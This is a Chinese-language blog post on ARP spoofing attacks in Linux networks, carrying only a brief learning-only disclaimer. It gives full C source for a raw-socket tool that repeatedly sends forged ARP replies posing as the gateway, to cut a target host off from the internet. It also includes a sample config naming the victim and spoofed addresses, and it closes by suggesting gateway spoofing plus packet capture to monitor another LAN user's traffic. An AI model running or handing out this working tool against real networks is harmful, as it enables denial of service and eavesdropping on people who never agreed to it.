Linux网络环境下的ARP攻击

注:本文旨在对知识的学习与实践,请勿用于不正常的途径。

ARP攻击的基本原理很简单,通过百度百科的知识就能了解。其主要原理是通过ARP包,进行主机或网关的欺骗。

我将ARP欺骗大致分为两类:

(一)欺骗主机:通常是伪装成网关(不想让欺骗主机上网)或局域网的某一台机器(不想让欺骗主机与这台主机进行通信),给被欺骗主机发送ARP响应包。

(二)欺骗网关:通常是伪装成某一台机器,给网关发送ARP响应包,这样会导致在以后的通信中,网关发回来的数据包到达不了某一主机。

在上面的过程中,发送ARP请求包也是可以的,但请求包通常是以广播形式发送的,这样对交换机的负载比较大,虽然现在的交换机性能很强大,但能避免就避免吧。

现在主机192.168.100.73想要欺骗192.168.100.72,想让72这台主机上不去网,具体来说就是所有通向外网的数据包都转到73上。我们知道,如果目的IP和本主机不在同一网段,那么下一跳就会走默认网关,因此,只要伪装默认网关给72这台主机发送错误的ARP响应包,就会导致72的数据包走到错误的链路上去,这里还涉及一个交换机自学习的知识。

具体的代码

/********************************************************************************                                                        
** 
** Email :        jiashadidai110@gmail.com
** 
** Author:        Contestjia
** 
** Filename:      arp_12.6.c
** 
** Last modified: 2015-01-06 18:47:30
** 
********************************************************************************/
#include <stdio.h>
#include <net/if_arp.h>
#include <netinet/if_ether.h>
#include <netinet/tcp.h>
#include <netinet/ether.h>
#include <stdint.h>
#include <memory.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <netpacket/packet.h>
#include <linux/if_ether.h>
#define ARPLEN     (60)
#define MACSTRLEN  (18)
#define IPSTRLEN   (16)
#define ETHNAMELEN (6)
char DHOSTMAC[MACSTRLEN];
char SHOSTMAC[MACSTRLEN];
char DHOSTIP[IPSTRLEN];
char SHOSTIP[IPSTRLEN];
char ETHNAME[ETHNAMELEN];
extern  char *optarg;
static void
InitArp(struct ether_arp *ether_arp)
{
    (ether_arp->ea_hdr).ar_hrd = htons(ARPHRD_ETHER);
    (ether_arp->ea_hdr).ar_pro = htons(ETHERTYPE_IP);
    (ether_arp->ea_hdr).ar_hln = 6;
    (ether_arp->ea_hdr).ar_pln = 4;
    (ether_arp->ea_hdr).ar_op  = htons(ARPOP_REPLY);
    memcpy(ether_arp->arp_sha,
           ether_aton(SHOSTMAC),
           ETH_ALEN);
    memcpy(ether_arp->arp_tha,
           ether_aton(DHOSTMAC),
           ETH_ALEN);
    inet_pton(AF_INET,
              SHOSTIP,
              ether_arp->arp_spa
              );
    inet_pton(AF_INET,
              DHOSTIP,
              ether_arp->arp_tpa
              );
}
static void
InitEtherHeader(struct ether_header *ether_header)
{   
    
    memcpy( ether_header->ether_dhost,
            ether_aton(DHOSTMAC),
            ETH_ALEN);
    memcpy( ether_header->ether_shost,
            ether_aton(SHOSTMAC),
            ETH_ALEN
            );
    ether_header->ether_type = htons(ETHERTYPE_ARP);
}
static void
readcfgfile(char *file_name)                                                                                                                 
{
    FILE *fp = NULL;
#define MAXSIZE 255
    char buf[MAXSIZE];
    char *ptr;
    if((fp = fopen(file_name,"r")) == NULL)
    {
        perror("readcfgfile");
        exit(0);
    }
    while(fgets(buf,MAXSIZE,fp) != 0)
    {
        if(buf[0] == '#')
            continue;
        if(strstr(buf,"SHOSTMAC=")){
            u_int8_t len = strlen(buf);
            if(buf[len - 1] == '\n')
                buf[len - 1] = 0;
            ptr = buf + strlen("SHOSTMAC=");
            strcpy(SHOSTMAC, ptr);
        }else if(strstr(buf,"DHOSTMAC=")){
            u_int8_t len = strlen(buf);
            if(buf[len - 1] == '\n')
                buf[len - 1] = 0;
            ptr = buf + strlen("DHOSTMAC=");
            strcpy(DHOSTMAC, ptr);
        }else if(strstr(buf,"SHOSTIP=")){
            u_int8_t len = strlen(buf);
            if(buf[len - 1] == '\n')
                buf[len - 1] = 0;
            ptr = buf + strlen("SHOSTIP=");
            strcpy(SHOSTIP, ptr);
        }else if(strstr(buf,"DHOSTIP=")){
            u_int8_t len = strlen(buf);
            if(buf[len - 1] == '\n')
                buf[len - 1] = 0;
            ptr = buf + strlen("DHOSTIP=");                                                                                                  
            strcpy(DHOSTIP, ptr);
            printf("Attack IP is : %s\n",DHOSTIP);
        }else{           printf("Parameter is error!!!\n");
            exit(0);
        }
    }
#undef MAXSIZE
}

static u_int8_t
parse_args(u_int32_t argc,u_int8_t **argv)
{
    u_int8_t count = 0;
    register int op;
    const char *opts = "f:F:i:I:";
    while( (op = getopt(argc, argv, opts) ) != -1) switch(op) {
        case 'f':
        case 'F':
            {
                count++;
                readcfgfile(optarg);
                break;
            }
        case 'i':
        case 'I':
            {
                count++;
                memcpy(ETHNAME, optarg,strlen(optarg));
                break;
            }
        default:
            break;
    }
    return count;
}
                                                                                                                                             
int main(u_int32_t argc, u_int8_t **argv)
{
    u_int8_t  count = 0;    count = parse_args(argc,argv);
    if(count != 2)
    {
        printf("Please input the arp_file!!!!\n");
        exit(0);
    }
    u_int8_t *arp = (u_int8_t*)malloc(sizeof(char) * ARPLEN);
    memset(arp, 0 , ARPLEN);
    struct ether_header *ether_header = (struct ether_header*)(arp);
    struct ether_arp    *ether_arp = (struct ether_arp*)(arp + sizeof(struct ether_header));
    InitEtherHeader(ether_header);
    InitArp(ether_arp);
    
    //bind  socket
    int32_t fd;
    if((fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP))) < 0)
    {
        perror("socket error!!\n");
        exit(0);
    }
    struct sockaddr_ll send;
    memset(&send, 0 ,sizeof(send));
    send.sll_family = PF_PACKET;
    send.sll_ifindex = if_nametoindex(ETHNAME);
    u_int32_t pkt_num = 0;
    while(1){
        sendto(fd, arp , ARPLEN, 0, (struct sockaddr*)&send, sizeof(send));
        pkt_num++;
        printf("<<<<<Send %d packet>>>>>\n", pkt_num);
        sleep(5);
    }
}                              

程序采用命令行方式与配置文件相结合。

配置文件的格式如下:

#destination mac                                                                                                                             
DHOSTMAC=00:23:24:44:72:41
#destination ip
DHOSTIP=192.168.100.72
#source  mac
SHOSTMAC=00:0F:F4:19:78:A9
#source  ip
SHOSTIP=192.168.100.1
配置文件中的destination mac和destination ip是被欺骗主机的真实IP和mac,这个必须正确。由于是要伪装网关,我的网关IP为192.168.100.1,所以source ip为192.168.100.1,而source mac为任意错误的mac地址就行,这样192.168.100.72发出的外网数据包都会到这个mac的主机上。

程序运行的命令格式为:

其中 -i 指定发送数据包的接口为eth2,这个接口是有要求的,必须与被欺骗主机的ip在同一个局域网,-f 指定存放配置的文件名。

由于程序旨在完成ARP欺骗这一功能,因此对于其他可能导致程序运行出错的情况,没有在程序中一一都列举到。


以上就完成了ARP欺骗的功能。其中涉及的知识点有:linux网络编程、交换机自学习、IP路由表查找、ARP地址表查找。理解这些对网络通信比较有好处。


拓展:如果我们同时对网关进行欺骗,然后在发送ARP欺骗数据包的机器上进行混杂捕包、解析、转发,这样我们就可以实现对某一局域网用户的上网行为进行分析,但这中间涉及更多、更杂的知识,有兴趣的可以继续讨论。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值